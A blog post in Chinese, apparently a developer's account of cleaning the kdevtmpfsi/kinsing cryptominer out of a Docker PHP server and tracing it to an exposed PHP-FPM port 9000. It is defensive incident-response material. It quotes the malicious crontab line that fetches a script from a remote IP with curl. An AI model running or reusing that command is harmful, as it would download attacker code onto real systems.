簡要描述
有兩週時間,一直出現cpu
100% 的情況,伺服器使用的 docker—compose
搭建 php+nginx+mysql
,出現這個病毒在不知道原因的情況下就出現了,然後運維人員找到本人,說伺服器報警,連續幾周時間觀察找原因,最終得到解決
解決過程簡述
一. 殺死程式 kill -9 pid
問題出現首先想到的就是殺死程式,然後去尋找出現這個的原因,因為是在容器裡面,所以首先需要進入容器
docker exec -it container_id /bin/bash
ps -aux | grep kdevtmpfsi
ps -aux | grep kinsing
rm -rf ...
二. 查詢定時任務
發現定時任務裡面存在下面的可疑指令碼
curl -s 195.3.146.118/unk.sh
/var/spool/cron/crontabs
rm -rf ..
三. 重新新建檔案,設定許可權並觀察 cpu
touch /tmp/kdevtmpfsi /tmp/kinsing
chattr +i /tmp/kdevtmpfsi /tmp/kinsing
docker top container_id
有幾天時間沒有出現這些病毒,cpu 也沒出現 100% 的情況,大概過了幾天後就又出現了,現在出現的 kdevtmpfsi425336820
類似這樣的檔案,cpu 再次跑滿
- 以上就是花了好多天,然後網上搜尋了一大堆,按照網上的做法去操作的,但是沒能根本上解決問題,還有一些是寫一個定時指令碼定時去 kill 掉這些有問題的程式,這裡就不貼上來了
四. 下載指令碼
然後我把指令碼下載下來了,發現裡面有一個可疑ip,趕緊通知運維加入黑名單,這下子好了,好多天 cpu 沒有再次升起來,但是阿里雲總會收到惡意的報警通告
這裡惡意程式的指令碼檔案就不貼了,程式碼有些多
下面這一點似乎是網上呼聲最高的,我要說明一下,我的環境沒有使用到 redis
最終解決
經過上面好多天的查資料,查到的基本上都是一樣的解釋,跟解決辦法,對於目前我來說根本無用,心灰意冷
好在一次無意間用docker logs
檢視日誌發現了貓膩
網上搜尋了一下,這個是一個 PHP-FPM fastcgi
漏洞,資料來源如下
www.leavesongs.com/PENETRATION/fas...
mohen.blog.csdn.net/artice/details...
大概意思就是:開放了9000埠,按照一定的程式碼格式,來請求php程式碼,進入fastcgi裡面,就可以執行自己任意的php程式碼
由於某種原因開啟了 9000 埠,就給了這個病毒攻擊系統的機會,讓運維關閉 9000 埠,問題最終得到解決
使用到的linux指令lsattr
chattr
rm -rf
touch
kill
ps -aux
top
使用到的docker指令docker logs
docker top
docker exex -it cid /bin/bash
docker cp
docker-compose
docker ps
總結
之前也發現一些挖礦的惡意程式,這次這個也是的,大概處理方法如下
- 殺死挖礦程式程式
- 檢視定時任務,有無可疑程式
- 刪除相關檔案,重新新建檔案,然後設定許可權
- 觀察,檢視log
不必要的埠不要爆露出來
以上是這次歷時差不多兩週的時間,解決的挖礦病毒問題,貼出來分享一下,因為本身不是運維,所以問了很多人,也嘗試了很多種解決辦法,最終問題得到解決,內心還是挺愉悅的,各位大佬如有這方面的經驗,歡迎交流,指教
本作品採用《CC 協議》,轉載必須註明作者和本文連結